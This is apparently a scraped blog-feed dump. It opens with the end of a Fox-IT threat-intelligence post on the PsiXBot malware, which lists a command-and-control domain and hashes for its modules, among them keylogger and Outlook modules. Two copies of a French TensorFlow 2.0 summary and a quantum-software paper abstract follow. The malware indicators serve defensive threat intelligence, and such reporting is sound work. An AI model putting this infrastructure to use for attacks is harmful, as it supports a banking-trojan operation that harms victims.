The binary downloaded from this URL can be identified with SHA256: db1f57ffd6c58e1d40823e2c8834e45a67271557ceaa1b3bcccf4feab83243a1. 
The C&amp;C of this sample is: 

anyname.bit

Panel
The screenshot below shows PsiXBot’s login panel: 
 
The following noteworthy code is inside the HTML: 
 
IOCs
The most relevant malware hashes can be found below: 

PsiXBot first version: d2ee07bf04947cac64cc372123174900725525c20211e221110b9f91b7806332
PsiXBot updated version: ce0e46fa1c5b463ed4a070a05594a79203ed2dd5df96cece9f875e2957fda4fa
PsiXBot latest version: ca30c42334fcc693320772b4ce1df26fe5f1d0110bc454ec6388d79dffea4ae8
BrowserModule: 6a9841b7e19024c4909d0a0356a2eeff6389dcc1e2ac863e7421cca88b94e7e0
SchedulerModule: 6e123ce5c7c48132f057428c202638eb9d0e4daa690523619316a9f72b69d17f
BTCModule: 3846fcfdc6414685efd217a88613ed3383a61f8313a0aa7ecdcde8ed99c8ebac
KeyLoggerModule: 7bac9b3b5598059db770cdeee74f0b1cf3078c2cb54cc2fcd18ae811d42a5d63
ComplexModule: 0f931fec3fd436d974d767f84f66b44f6f2fc168d9e6d77b2aa2e9d3bf4cd604
NewComplexModule: a5edab1596346358c8899b9f81ec49b0560da929327e0ef08ab51dcb277c9b70
OutlookModule: b01fbb8cfeb16c4232fddea6dea53212a57e73ef32ee20056cd69d29570bf55c

The full set of indicators of compromise can be found on our GitHub page. 
More information on the threat actors behind PsiXBot is available for InTELL customers on Fox-IT’s cybercrime portal. 
Stefano Antenucci &amp; Antonio Parata (Fox-IT InTELL)</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>http://www.malware-traffic-analysis.net/2019/03/16</link><link>https://www.twitter.com/James_inthe_box/status/1035209707244244997</link><link>https://www.twitter.com/mesa_matt/status/1035213536258080768</link><link>https://foxitsecurity.files.wordpress.com/2019/03/versions.png</link><link>https://www.github.com/GeekGalaxy/QuasarRAT</link><link>https://foxitsecurity.files.wordpress.com/2019/03/login.png</link><link>https://www.github.com/fox-it/psixbot</link><link>https://www.twitter.com/Antelox</link><link>https://www.twitter.com/s4tan</link></links><tags><tag>Threat Intelligence</tag></tags><images /><indexedAt>2019-03-27T15:37:22Z</indexedAt><publishedAt>2019-03-27T15:30:48Z</publishedAt><reindexedAt>2019-03-27T17:09:47Z</reindexedAt><inlinksCount>1</inlinksCount><blogId>8642514668685013682</blogId><blogName>Fox-IT International blog</blogName><blogUrl>https://blog.fox-it.com</blogUrl><blogRank>3</blogRank><authority>120</authority></post><post><id>11925414384757180120</id><author>Yoann Benoit</author><url>https://blog.xebia.fr/2019/03/27/tensorflow-dev-summit-2019-les-principales-annonces-1ere-partie/</url><title>TensorFlow Dev Summit 2019 – Les principales annonces – 1ère partie</title><text>Le TensorFlow Dev Summit 2019 a eu lieu le 6 mars dernier, avec comme annonce majeure la release en version alpha de TensorFlow 2.0. Cet évènement a permis de faire un tour d’horizon de toutes les nouveautés apportées au framework sur cette dernière année et de donner quelques projections sur les prochains développements. 
 
Cette série d’articles a pour but de vous résumer les principaux enseignements que nous en avons tiré. Dans ce premier article, nous parlerons de TensorFlow 2.0 et de ses APIs haut niveau, ainsi que de tf.function et autograph. 
Introducing TensorFlow 2.0 and its high-level APIs
C’est officiel, TensorFlow 2.0 est maintenant disponible en version alpha ! 
Le focus principal pour cette nouvelle version de TensorFlow est mis sur l’utilisabilité, avec notamment deux changements majeurs : 

tf.keras est maintenant l’API haut niveau par défaut pour construire des modèles. Elle a même été étendue pour fonctionner avec toutes les fonctionnalités avancées de TensorFlow.
Le mode eager execution est activé par défaut afin de pouvoir travailler de manière plus intuitive et évaluer des opérations immédiatement sans avoir à passer par la notion de graphes.

Qui dit nouvelle version majeure, dit beaucoup de nettoyage et changements. Beaucoup de code dupliqué a été supprimé, et un gros travail sur la consistance du framework a été fait. À la demande de la communauté, des améliorations ont également été apportées afin de clarifier la documentation et fournir plus d’exemples de code. 
Ces avancées pour simplifier l’utilisation de TensorFlow et ses APIs haut niveau n’enlèvent en rien la possibilité d’utiliser du code plus bas niveau, avec maintenant une API qui expose toutes les opérations internes. 
Les chercheurs et Kagglers ne sont pas oubliés puisque, couplé à l’eager execution, il est possible de faire de l’héritage de classe et des boucles d’entraînement personnalisées afin d‘avoir plus de flexibilité dans la modélisation d’un problème. 




class Encoder(tf.keras.Model):
    def __init__(self, vocab_size, embedding_dim, enc_units, batch_sz):
        super(Encoder, self).__init__()
        self.batch_sz = batch_sz
        self.enc_units = enc_units
        self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)
        self.gru = tf.keras.layers.GRU(self.enc_units,
                                       return_sequences=True,
                                       return_state=True,
                                       recurrent_initializer="glorot_uniform")

    def call(self, x, hidden):
        x = self.embedding(x)
        output, state = self.gru(x, initial_state=hidden)
        return output, state
    
    def initialize_hidden_state(self):
        return tf.zeros((self.batch_sz, self.enc_units))






Exemple de boucle personnalisée permettant d’avoir un contrôle fin sur le gradient et le processus d’optimisation: 




def train_step(inp, targ, enc_hidden):
    loss = 0
    with tf.GradientTape() as tape:
        enc_output, enc_hidden = encoder(inp, enc_hidden)
        dec_hidden = enc_hidden
        dec_input = tf.expand_dims([targ_lang.word_index[""]] * BATCH_SIZE, 1)
        
        for t in range(1, targ.shape[1]):
            # passing enc_ouput to the decoder
            predictions, dec_hidden, _ = decoder(dec_input, dec_hidden, enc_output)
            loss += loss_function(targ[:, t], predictions)
            
            # using teacher forcing
            dec_input = tf.expand_dims(targ[:, t], 1)
            
    batch_loss = (loss / int(targ.shape[1]))
    variables = encoder.trainable_variables + decoder.trainable_variables
    gradients = tape.gradient(loss, variables)
    optimizer.apply_gradients(zip(gradients, variables))
    
    return batch_loss




Des guides de migration vers 2.0 sont déjà présents et seront enrichis au fur et à mesure, ainsi qu’un script de conversion (tf_upgrade_v2) et une couche de compatibilité pour permettre à TensorFlow 2.0 d’utiliser des API TensorFlow 1.x. 
Il va falloir encore patienter un petit peu pour la version définitive : les versions 2.0 RC et finale seront mises à disposition au cours du printemps. 
TensorFlow 2.0 et ses APIs haut niveau
Keras a été intégré à TensorFlow sous la forme de tf.keras, qui est une version optimisée de Keras pour TensorFlow, s’interfaçant directement avec les autres modules. 
Il est très simple avec tf.keras de définir un modèle et une boucle d’entraînement, mais aussi de créer des sous-ensembles d’architectures via des héritages et classes spécifiques. 




model = tf.keras.models.Sequential([
    tf.keras.layers.Flatten(),
    tf.keras.layers.Dense(512, activation="relu"),
    tf.keras.layers.Dropout(0.2),
    tf.keras.layers.Dense(10, activation="softmax")
])

model.compile(optimizer="adam",
              loss="sparse_categorical_crossentropy",
              metrics=["accuracy"])

model.fit(x_train, y_train, epochs=5)

model.evaluate(x_test, y_test)




tf.keras a notamment été construit pour du prototypage rapide et des modèles relativement petits. Or il y a souvent le besoin de créer des modèles à plus grande échelle, sur beaucoup de données, et en mode distribué pour accélérer les entraînements. 
C’est justement la raison d’être des estimators, qui ont été conçus avec un objectif de distribution et de passage à l’échelle sur plusieurs centaines de machines de manière intuitive. 




wide_columns = [
    tf.feature_column.categorical_column_with_identity("user_id", num_buckets=10000)
]

deep_columns = [
    tf.feature_column.numeric_column("visits"),
    tf.feature_column.numeric_column("clicks"),
]

tf.estimator.DNNLinearCombinedClassifier(
    linear_feature_columns=wide_columns,
    dnn_feature_columns=deep_columns,
    dnn_hidden_units=[100, 75, 50, 25]
)




Mais le but n’est pas d’avoir à choisir entre une API simple et une API scalable. TensorFlow 2.0 permet donc de combiner l’API tf.keras (pour construire simplement des modèles) avec les estimators (pour bénéficier de toute leur puissance). L’objectif est donc de pouvoir passer d’un code de prototypage à un entraînement distribué, jusqu’à la mise en production, et ce de manière fluide. 
Concrètement, le même code tf.keras va pouvoir être utilisé de la version 1.13 à la version 2.0, sauf que pour la dernière version, le mode eager sera utilisé par défaut. Cela veut dire que l’on peut facilement déboguer, et contrôler l’entraînement étape par étape en compilant le modèle avec le flag run_eagerly=True. 
tf.keras est aussi intégré à d’autres outils de l’écosystème TensorFlow, comme par exemple le parsing de données structurées grâce aux feature_column. Il est donc possible de parser ses données avec des feature_column et de les intégrer directement dans un layer keras (tf.keras.layers.DenseFeatures). 




user_id = tf.feature_column.categorical_column_with_identity("user_id", num_buckets=10000)
uid_embedding = tf.feature_column.embedding_column(user_id, 10)

columns = [
    uid_embedding,
    tf.feature_column.numeric_column("visits"),
    tf.feature_column.numeric_column("clicls")
]

feature_layer = tf.keras.layers.DenseFeatures(columns)

model = tf.keras.models.Sequential([feature_layer, ...])




Pour la visualisation des avancements des entraînements, TensorBoard est votre meilleur ami. Il peut être directement intégré à un entraînement de modèle tf.keras grâce à un callback. 
TensorFlow 2.0 amène aussi une nouvelle API : tf.distribute.strategy. Cette API fournit un ensemble de stratégies intégrées pour l’entraînement distribué de modèles, fonctionnant nativement avec tf.keras. Cette API a pour but d’être simple à utiliser et propose de très bonnes performances avec très peu d’efforts. Elle est aussi suffisamment versatile pour gérer plusieurs types de distributions et infrastructures (de la machine multi-GPU au cluster entier de machines). Tout le travail de distribution des données et des entraînements est fait pour nous. 




strategy = tf.distribute.MirroredStrategy()

with strategy.scope():
    model = tf.keras.models.Sequential([
        tf.keras.layers.Dense(64, input_shape=[10]),
        tf.keras.layers.Dense(64, activation="relu"),
        tf.keras.layers.Dense(10, activation="softmax")
    ])
    
    model.compile(optimizer="adam",
                  loss="categorical_crossentropy",
                  metrics=["accuracy"])




Cette API permet de passer à un entraînement distribué sans avoir à changer de code. 
Enfin, en termes d’export de modèles, SavedModel devient la référence dans tout l’écoystème TensorFlow. Les modèles entraînés via tf.keras peuvent maintenant facilement être sérialisés au format SavedModel), mais la fonctionnalité est encore expérimentale. Les modèles peuvent alors être exportés pour être utilisés via TensorFlow Serving, TensorFlow Lite ou autres systèmes tierces. 




saved_model_path = tf.keras.experimental.export_saved_model(model, "/path/to/model")

new_model = tf.keras.experimental.load_from_saved_model(saved_model_path)

new_model.summary()




Quelle est la suite pour TensorFlow 2.0 ?
Durant les prochains mois, de nombreuses améliorations et nouveautés vont apparaître, avec notamment des stratégies de distribution pour du multiple noeuds sur plusieurs machines (MultiWorkerMirroredStrategy), ainsi que pour les TPUs (TPUStrategy), et une exposition de Canned Estimators (estimators pré-implémentés) dans l’API tf.keras. 
Pour voir la vidéo au complet : 
 
tf.function and autograph
A partir de la version 2.0 de TensorFlow, le mode eager execution est celui par défaut. Mais cela n’empêche pas de vouloir utiliser les graphes ! 
Certains types de hardware, comme les TPUs, bénéficient énormément des optimisations à l’échelle du programme dans son ensemble, chose rendue possible par les graphes. De plus, avec les graphes, il est simple de prendre un modèle et de le déployer sur des servers ou des devices mobile par exemple. 
Bonne nouvelle, nous allons maintenant pouvoir bénéficier des avantages du mode graphe de TensorFlow, sans avoir à écrire le code qui était nécessaire dans les versions précédentes (ajout de nœuds à un graphe puis utilisation de session.run pour un calcul optimisé). Tout ceci est simplifié grâce à tf.function. 




# A function is like an op

@tf.function
def add(a, b):
    return a + b

add(tf.ones([2, 2]), tf.ones([2, 2])) # [[2., 2.], [2., 2.]]




tf.function agit exactement comme une opération, qu’il faut créer de ses propres mains, en composant des opérations de TensorFlow. Cette fonction peut alors être utilisée à votre guise. L’idée est donc de définir sa fonction facilement en Python, afin de pouvoir conserver un style de programmation plus proche de celui que l’on utilise en Python habituellement. 
En termes de performances, le réel gain par rapport au mode eager execution intervient lorsque le modèle imbrique plusieurs petites briques fonctionnelles. 
Un autre avantage de tf.function est la possibilité de contrôler les dépendances dans le modèle créé. C’était une des difficultés dans les versions précédentes de TensorFlow car les optimisations à l’échelle du graphe complet faisait parfois perdre des dépendances et amenaient à des erreurs. Les opérations sont maintenant exécutées les unes à la suite des autres, dans l’ordre où elles sont écrites. 
A partir de maintenant, il n’y a plus besoin d’initialiser soi-même les Variables TensorFlow (c’est-à-dire utiliser tf.global_variables_initializer). 
Une autre feature très intéressante de tf.function est son intégration avec Autograph, qui est un compilateur Python qui réécrit les expressions control flow  permettant de se séparer des commandes tf.cond ou tf.while_loop. 




@tf.function
def f(x):
    while tf.reduce_sum(x) &gt; 1:
        x = tf.tanh(x)
    return x

f(tf.random.uniform([10]))




En résumé, beaucoup de choses sont simplifiées avec l’incorporation de tf.functions : 

Plus besoin de session.run
Plus besoin de tf.control_dependencies
Plus besoin de tf.global_variables_initializer
Plus de tf.cond, tf.while_loop
Utilisation de tf.function

Pour voir la vidéo au complet : 
 
What else ?
Ce premier article reprend les principales modifications apportées au coeur de TensorFlow 2.0. Elles ont pour objectif de rendre plus simple et fluide l’utilisation du framework dans son ensemble, et de proposer des optimisations pour toujours bénéficier des avantages des versions précédentes. 
Dans le prochain article, nous parlerons des nouveautés qui concernant d’autres briques autour de TensorFlow, notamment TensorFlow Datasets, TensorFlow Hub et TensorBoard.</text><languageCode>fr</languageCode><locationCode>fr</locationCode><coordinates /><links><link>https://www.tensorflow.org/dev-summit</link><link>http://blog.xebia.fr/wp-content/uploads/2019/03/Tensorflow.png</link><link>https://www.tensorflow.org/</link><link>https://www.tensorflow.org/alpha/guide/migration_guide</link><link>https://www.github.com/tensorflow/tensorflow/tree/master/tensorflow/tools/compatibility</link></links><tags><tag>Data</tag><tag>DeepLearning</tag><tag>TensorFlow</tag></tags><images /><indexedAt>2019-03-27T17:29:32Z</indexedAt><publishedAt>2019-03-27T15:29:43Z</publishedAt><reindexedAt>2019-03-27T17:29:32Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>623325243703337040</blogId><blogName>Blog Xebia – Expertise Technologique &amp; Méthodes Agiles</blogName><blogUrl>https://blog.xebia.fr</blogUrl><blogRank>2</blogRank><authority>8</authority></post><post><id>10879753912507540671</id><author>Yoann Benoit</author><url>http://blog.xebia.fr/2019/03/27/tensorflow-dev-summit-2019-les-principales-annonces-1ere-partie/</url><title>TensorFlow Dev Summit 2019 – Les principales annonces – 1ère partie</title><text>Le TensorFlow Dev Summit 2019 a eu lieu le 6 mars dernier, avec comme annonce majeure la release en version alpha de TensorFlow 2.0. Cet évènement a permis de faire un tour d’horizon de toutes les nouveautés apportées au framework sur cette dernière année et de donner quelques projections sur les prochains développements. 
 
Cette série d’articles a pour but de vous résumer les principaux enseignements que nous en avons tiré. Dans ce premier article, nous parlerons de TensorFlow 2.0 et de ses APIs haut niveau, ainsi que de tf.function et autograph. 
Introducing TensorFlow 2.0 and its high-level APIs
C’est officiel, TensorFlow 2.0 est maintenant disponible en version alpha ! 
Le focus principal pour cette nouvelle version de TensorFlow est mis sur l’utilisabilité, avec notamment deux changements majeurs : 

tf.keras est maintenant l’API haut niveau par défaut pour construire des modèles. Elle a même été étendue pour fonctionner avec toutes les fonctionnalités avancées de TensorFlow.
Le mode eager execution est activé par défaut afin de pouvoir travailler de manière plus intuitive et évaluer des opérations immédiatement sans avoir à passer par la notion de graphes.

Qui dit nouvelle version majeure, dit beaucoup de nettoyage et changements. Beaucoup de code dupliqué a été supprimé, et un gros travail sur la consistance du framework a été fait. À la demande de la communauté, des améliorations ont également été apportées afin de clarifier la documentation et fournir plus d’exemples de code. 
Ces avancées pour simplifier l’utilisation de TensorFlow et ses APIs haut niveau n’enlèvent en rien la possibilité d’utiliser du code plus bas niveau, avec maintenant une API qui expose toutes les opérations internes. 
Les chercheurs et Kagglers ne sont pas oubliés puisque, couplé à l’eager execution, il est possible de faire de l’héritage de classe et des boucles d’entraînement personnalisées afin d‘avoir plus de flexibilité dans la modélisation d’un problème. 




class Encoder(tf.keras.Model):
    def __init__(self, vocab_size, embedding_dim, enc_units, batch_sz):
        super(Encoder, self).__init__()
        self.batch_sz = batch_sz
        self.enc_units = enc_units
        self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)
        self.gru = tf.keras.layers.GRU(self.enc_units,
                                       return_sequences=True,
                                       return_state=True,
                                       recurrent_initializer="glorot_uniform")

    def call(self, x, hidden):
        x = self.embedding(x)
        output, state = self.gru(x, initial_state=hidden)
        return output, state
    
    def initialize_hidden_state(self):
        return tf.zeros((self.batch_sz, self.enc_units))






Exemple de boucle personnalisée permettant d’avoir un contrôle fin sur le gradient et le processus d’optimisation: 




def train_step(inp, targ, enc_hidden):
    loss = 0
    with tf.GradientTape() as tape:
        enc_output, enc_hidden = encoder(inp, enc_hidden)
        dec_hidden = enc_hidden
        dec_input = tf.expand_dims([targ_lang.word_index[""]] * BATCH_SIZE, 1)
        
        for t in range(1, targ.shape[1]):
            # passing enc_ouput to the decoder
            predictions, dec_hidden, _ = decoder(dec_input, dec_hidden, enc_output)
            loss += loss_function(targ[:, t], predictions)
            
            # using teacher forcing
            dec_input = tf.expand_dims(targ[:, t], 1)
            
    batch_loss = (loss / int(targ.shape[1]))
    variables = encoder.trainable_variables + decoder.trainable_variables
    gradients = tape.gradient(loss, variables)
    optimizer.apply_gradients(zip(gradients, variables))
    
    return batch_loss




Des guides de migration vers 2.0 sont déjà présents et seront enrichis au fur et à mesure, ainsi qu’un script de conversion (tf_upgrade_v2) et une couche de compatibilité pour permettre à TensorFlow 2.0 d’utiliser des API TensorFlow 1.x. 
Il va falloir encore patienter un petit peu pour la version définitive : les versions 2.0 RC et finale seront mises à disposition au cours du printemps. 
TensorFlow 2.0 et ses APIs haut niveau
Keras a été intégré à TensorFlow sous la forme de tf.keras, qui est une version optimisée de Keras pour TensorFlow, s’interfaçant directement avec les autres modules. 
Il est très simple avec tf.keras de définir un modèle et une boucle d’entraînement, mais aussi de créer des sous-ensembles d’architectures via des héritages et classes spécifiques. 




model = tf.keras.models.Sequential([
    tf.keras.layers.Flatten(),
    tf.keras.layers.Dense(512, activation="relu"),
    tf.keras.layers.Dropout(0.2),
    tf.keras.layers.Dense(10, activation="softmax")
])

model.compile(optimizer="adam",
              loss="sparse_categorical_crossentropy",
              metrics=["accuracy"])

model.fit(x_train, y_train, epochs=5)

model.evaluate(x_test, y_test)




tf.keras a notamment été construit pour du prototypage rapide et des modèles relativement petits. Or il y a souvent le besoin de créer des modèles à plus grande échelle, sur beaucoup de données, et en mode distribué pour accélérer les entraînements. 
C’est justement la raison d’être des estimators, qui ont été conçus avec un objectif de distribution et de passage à l’échelle sur plusieurs centaines de machines de manière intuitive. 




wide_columns = [
    tf.feature_column.categorical_column_with_identity("user_id", num_buckets=10000)
]

deep_columns = [
    tf.feature_column.numeric_column("visits"),
    tf.feature_column.numeric_column("clicks"),
]

tf.estimator.DNNLinearCombinedClassifier(
    linear_feature_columns=wide_columns,
    dnn_feature_columns=deep_columns,
    dnn_hidden_units=[100, 75, 50, 25]
)




Mais le but n’est pas d’avoir à choisir entre une API simple et une API scalable. TensorFlow 2.0 permet donc de combiner l’API tf.keras (pour construire simplement des modèles) avec les estimators (pour bénéficier de toute leur puissance). L’objectif est donc de pouvoir passer d’un code de prototypage à un entraînement distribué, jusqu’à la mise en production, et ce de manière fluide. 
Concrètement, le même code tf.keras va pouvoir être utilisé de la version 1.13 à la version 2.0, sauf que pour la dernière version, le mode eager sera utilisé par défaut. Cela veut dire que l’on peut facilement déboguer, et contrôler l’entraînement étape par étape en compilant le modèle avec le flag run_eagerly=True. 
tf.keras est aussi intégré à d’autres outils de l’écosystème TensorFlow, comme par exemple le parsing de données structurées grâce aux feature_column. Il est donc possible de parser ses données avec des feature_column et de les intégrer directement dans un layer keras (tf.keras.layers.DenseFeatures). 




user_id = tf.feature_column.categorical_column_with_identity("user_id", num_buckets=10000)
uid_embedding = tf.feature_column.embedding_column(user_id, 10)

columns = [
    uid_embedding,
    tf.feature_column.numeric_column("visits"),
    tf.feature_column.numeric_column("clicls")
]

feature_layer = tf.keras.layers.DenseFeatures(columns)

model = tf.keras.models.Sequential([feature_layer, ...])




Pour la visualisation des avancements des entraînements, TensorBoard est votre meilleur ami. Il peut être directement intégré à un entraînement de modèle tf.keras grâce à un callback. 
TensorFlow 2.0 amène aussi une nouvelle API : tf.distribute.strategy. Cette API fournit un ensemble de stratégies intégrées pour l’entraînement distribué de modèles, fonctionnant nativement avec tf.keras. Cette API a pour but d’être simple à utiliser et propose de très bonnes performances avec très peu d’efforts. Elle est aussi suffisamment versatile pour gérer plusieurs types de distributions et infrastructures (de la machine multi-GPU au cluster entier de machines). Tout le travail de distribution des données et des entraînements est fait pour nous. 




strategy = tf.distribute.MirroredStrategy()

with strategy.scope():
    model = tf.keras.models.Sequential([
        tf.keras.layers.Dense(64, input_shape=[10]),
        tf.keras.layers.Dense(64, activation="relu"),
        tf.keras.layers.Dense(10, activation="softmax")
    ])
    
    model.compile(optimizer="adam",
                  loss="categorical_crossentropy",
                  metrics=["accuracy"])




Cette API permet de passer à un entraînement distribué sans avoir à changer de code. 
Enfin, en termes d’export de modèles, SavedModel devient la référence dans tout l’écoystème TensorFlow. Les modèles entraînés via tf.keras peuvent maintenant facilement être sérialisés au format SavedModel), mais la fonctionnalité est encore expérimentale. Les modèles peuvent alors être exportés pour être utilisés via TensorFlow Serving, TensorFlow Lite ou autres systèmes tierces. 




saved_model_path = tf.keras.experimental.export_saved_model(model, "/path/to/model")

new_model = tf.keras.experimental.load_from_saved_model(saved_model_path)

new_model.summary()




Quelle est la suite pour TensorFlow 2.0 ?
Durant les prochains mois, de nombreuses améliorations et nouveautés vont apparaître, avec notamment des stratégies de distribution pour du multiple noeuds sur plusieurs machines (MultiWorkerMirroredStrategy), ainsi que pour les TPUs (TPUStrategy), et une exposition de Canned Estimators (estimators pré-implémentés) dans l’API tf.keras. 
Pour voir la vidéo au complet : 
 
tf.function and autograph
A partir de la version 2.0 de TensorFlow, le mode eager execution est celui par défaut. Mais cela n’empêche pas de vouloir utiliser les graphes ! 
Certains types de hardware, comme les TPUs, bénéficient énormément des optimisations à l’échelle du programme dans son ensemble, chose rendue possible par les graphes. De plus, avec les graphes, il est simple de prendre un modèle et de le déployer sur des servers ou des devices mobile par exemple. 
Bonne nouvelle, nous allons maintenant pouvoir bénéficier des avantages du mode graphe de TensorFlow, sans avoir à écrire le code qui était nécessaire dans les versions précédentes (ajout de nœuds à un graphe puis utilisation de session.run pour un calcul optimisé). Tout ceci est simplifié grâce à tf.function. 




# A function is like an op

@tf.function
def add(a, b):
    return a + b

add(tf.ones([2, 2]), tf.ones([2, 2])) # [[2., 2.], [2., 2.]]




tf.function agit exactement comme une opération, qu’il faut créer de ses propres mains, en composant des opérations de TensorFlow. Cette fonction peut alors être utilisée à votre guise. L’idée est donc de définir sa fonction facilement en Python, afin de pouvoir conserver un style de programmation plus proche de celui que l’on utilise en Python habituellement. 
En termes de performances, le réel gain par rapport au mode eager execution intervient lorsque le modèle imbrique plusieurs petites briques fonctionnelles. 
Un autre avantage de tf.function est la possibilité de contrôler les dépendances dans le modèle créé. C’était une des difficultés dans les versions précédentes de TensorFlow car les optimisations à l’échelle du graphe complet faisait parfois perdre des dépendances et amenaient à des erreurs. Les opérations sont maintenant exécutées les unes à la suite des autres, dans l’ordre où elles sont écrites. 
A partir de maintenant, il n’y a plus besoin d’initialiser soi-même les Variables TensorFlow (c’est-à-dire utiliser tf.global_variables_initializer). 
Une autre feature très intéressante de tf.function est son intégration avec Autograph, qui est un compilateur Python qui réécrit les expressions control flow  permettant de se séparer des commandes tf.cond ou tf.while_loop. 




@tf.function
def f(x):
    while tf.reduce_sum(x) &gt; 1:
        x = tf.tanh(x)
    return x

f(tf.random.uniform([10]))




En résumé, beaucoup de choses sont simplifiées avec l’incorporation de tf.functions : 

Plus besoin de session.run
Plus besoin de tf.control_dependencies
Plus besoin de tf.global_variables_initializer
Plus de tf.cond, tf.while_loop
Utilisation de tf.function

Pour voir la vidéo au complet : 
 
What else ?
Ce premier article reprend les principales modifications apportées au coeur de TensorFlow 2.0. Elles ont pour objectif de rendre plus simple et fluide l’utilisation du framework dans son ensemble, et de proposer des optimisations pour toujours bénéficier des avantages des versions précédentes. 
Dans le prochain article, nous parlerons des nouveautés qui concernant d’autres briques autour de TensorFlow, notamment TensorFlow Datasets, TensorFlow Hub et TensorBoard.</text><languageCode>fr</languageCode><locationCode>fr</locationCode><coordinates /><links><link>https://www.tensorflow.org/dev-summit</link><link>https://www.tensorflow.org/</link><link>https://www.tensorflow.org/alpha/guide/migration_guide</link><link>https://www.github.com/tensorflow/tensorflow/tree/master/tensorflow/tools/compatibility</link></links><tags><tag>Data</tag><tag>DeepLearning</tag><tag>TensorFlow</tag></tags><images /><indexedAt>2019-03-27T15:34:08Z</indexedAt><publishedAt>2019-03-27T15:29:43Z</publishedAt><reindexedAt>2019-03-27T15:34:08Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>13245522847595859016</blogId><blogName>Blog Xebia – Expertise Technologique &amp; Méthodes Agiles</blogName><blogUrl>http://blog.xebia.fr</blogUrl><blogRank>6</blogRank><authority>146</authority></post><post><id>18307769980932710555</id><author>qutronics</author><url>https://qutronics.wordpress.com/2019/03/27/overview-and-comparison-of-gate-level-quantum-software-platforms-4/</url><title>Overview and Comparison of Gate Level Quantum Software Platforms</title><text>Quantum 3, 130 (2019). 
https://doi.org/10.22331/q-2019-03-25-130 
Quantum computers are available to use over the cloud, but the recent explosion of quantum software platforms can be overwhelming for those deciding on which to use. In this paper, we provide a current picture of the rapidly evolving quantum computing landscape by comparing four software platforms – Forest (pyQuil), Qiskit, ProjectQ, and the Quantum Developer Kit (Q#) – that enable researchers to use real and simulated quantum devices. Our analysis covers requirements and installation, language syntax through example programs, library support, and quantum simulator capabilities for each platform. For platforms that have quantum computer support, we compare hardware, quantum assembly languages, and quantum compilers. We conclude by covering features of each and briefly mentioning other quantum computing software packages. 

Overview and Comparison of Gate Level Quantum Software Platforms
Ryan LaRose 
Department of Computational Mathematics, Science, and Engineering, Michigan State University. Department of Physics and Astronomy, Michigan State University 


Published:
2019-03-25, volume 3, page 130


Eprint:
arXiv:1807.02500v2


Scirate:
https://scirate.com/arxiv/1807.02500v2


Doi:
https://doi.org/10.22331/q-2019-03-25-130


Citation:
Quantum 3, 130 (2019).





Quantum computers are available to use over the cloud, but the recent explosion of quantum software platforms can be overwhelming for those deciding on which to use. In this paper, we provide a current picture of the rapidly evolving quantum computing landscape by comparing four software platforms – Forest (pyQuil), Qiskit, ProjectQ, and the Quantum Developer Kit (Q#) – that enable researchers to use real and simulated quantum devices. Our analysis covers requirements and installation, language syntax through example programs, library support, and quantum simulator capabilities for each platform. For platforms that have quantum computer support, we compare hardware, quantum assembly languages, and quantum compilers. We conclude by covering features of each and briefly mentioning other quantum computing software packages. 
► BibTeX data
@article{LaRose2019overviewcomparison, 
  doi = {10.22331/q-2019-03-25-130}, 
  url = {https://ift.tt/2JCCF7z}, 
  title = {Overview and {C}omparison of {G}ate {L}evel {Q}uantum {S}oftware {P}latforms}, 
  author = {LaRose, Ryan}, 
  journal = , 
  issn = {2521-327X}, 
  publisher = rderung des Open Access Publizierens in den Quantenwissenschaften}}, 
  volume = {3}, 
  pages = {130}, 
  month = mar, 
  year = {2019} 
} 
► References

[1] Bernhard Ömer, A procedural formalism for quantum computing, Master's thesis, Department of Theoretical Physics, Technical University of Vienna, 1998.  http:/​/​citeseerx.ist.psu.edu/​viewdoc/​similar?doi=10.1.1.121.5017&amp;type=cc 
[2] S. Bettelli, L. Serafini, T. Calarco, Toward an architecture for quantum programming, Eur. Phys. J. D, Vol. 25, No. 2, pp. 181-200 (2003).  https://doi.org/10.1140/epjd/e2003-00242-2 
[3] Peter Selinger, Towards a quantum programming language, Mathematical Structures in Computer Science 14(4): 527-586 (2004).  https://doi.org/10.1017/S0960129504004256 
[4] Peter Selinger, Benoı̂t Valiron, A lambda calculus for quantum computation with classical control, TLCA 2005, Proceedings of the 7th International Conference on Typed Lambda Calculi and Applications: 354-368 (2005).  https://doi.org/10.1007/11417170_26 
[5] Margherita Zorzi, On quantum lambda calculi: a foundational perspective, Mathematical Structures in Computer Science 26(7): 1107-1195 (2016).  https://doi.org/10.1017/S0960129514000425 
[6] Jennifer Paykin, Robert Rand, Steve Zdancewic, QWIRE: a core language for quantum circuits, POPL 2017, 846-858.  https://doi.org/10.1145/3009837.3009894 
[7] Benjamin P. Lanyon, James D. Whitfield, Geoff G. Gillet, Michael E. Goggin, Marcelo P. Almeida, Ivan Kassal, Jacob D. Biamonte, Masoud Mohseni, Ben J. Powell, Marco Barbieri, Alán Aspuru-Guzik, Andrew G. White, Towards quantum chemistry on a quantum computer, Nature Chemistry 2, pages 106-111 (2010), doi:10.1038/​nchem.483.  https://doi.org/10.1038/nchem.483 
[8] Jonathan Olson, Yudong Cao, Jonathan Romero, Peter Johnson, Pierre-Luc Dallaire-Demers, Nicolas Sawaya, Prineha Narang, Ian Kivlichan, Michael Wasielewski, Alán Aspuru-Guzik, Quantum information and computation for chemistry, NSF Workshop Report, 2017.  arXiv:1706.05413 
[9] Jacob Biamonte, Peter Wittek, Nicola Pancotti, Patrick Rebentrost, Nathan Wiebe, Seth Lloyd, Quantum machine learning, Nature volume 549, pages 195-202 (14 September 2017).  https://doi.org/10.1038/nature23474 
[10] Seth Lloyd, Masoud Mohseni, Patrick Rebentrost, Quantum principal component analysis, Nature Physics volume 10, pages 631-633 (2014).  https://doi.org/10.1038/nphys3029 
[11] Vadim N. Smelyanskiy, Davide Venturelli, Alejandro Perdomo-Ortiz, Sergey Knysh, and Mark I. Dykman, Quantum annealing via environment-mediated quantum diffusion, Phys. Rev. Lett. 118, 066802, 2017.  https://doi.org/10.1103/PhysRevLett.118.066802 
[12] Patrick Rebentrost, Brajesh Gupt, Thomas R. Bromley, Quantum computational finance: Monte Carlo pricing of financial derivatives, arXiv preprint (arXiv:1805.00109v1), 2018.  https://doi.org/10.1103/PhysRevA.98.022321  arXiv:1805.00109v1 
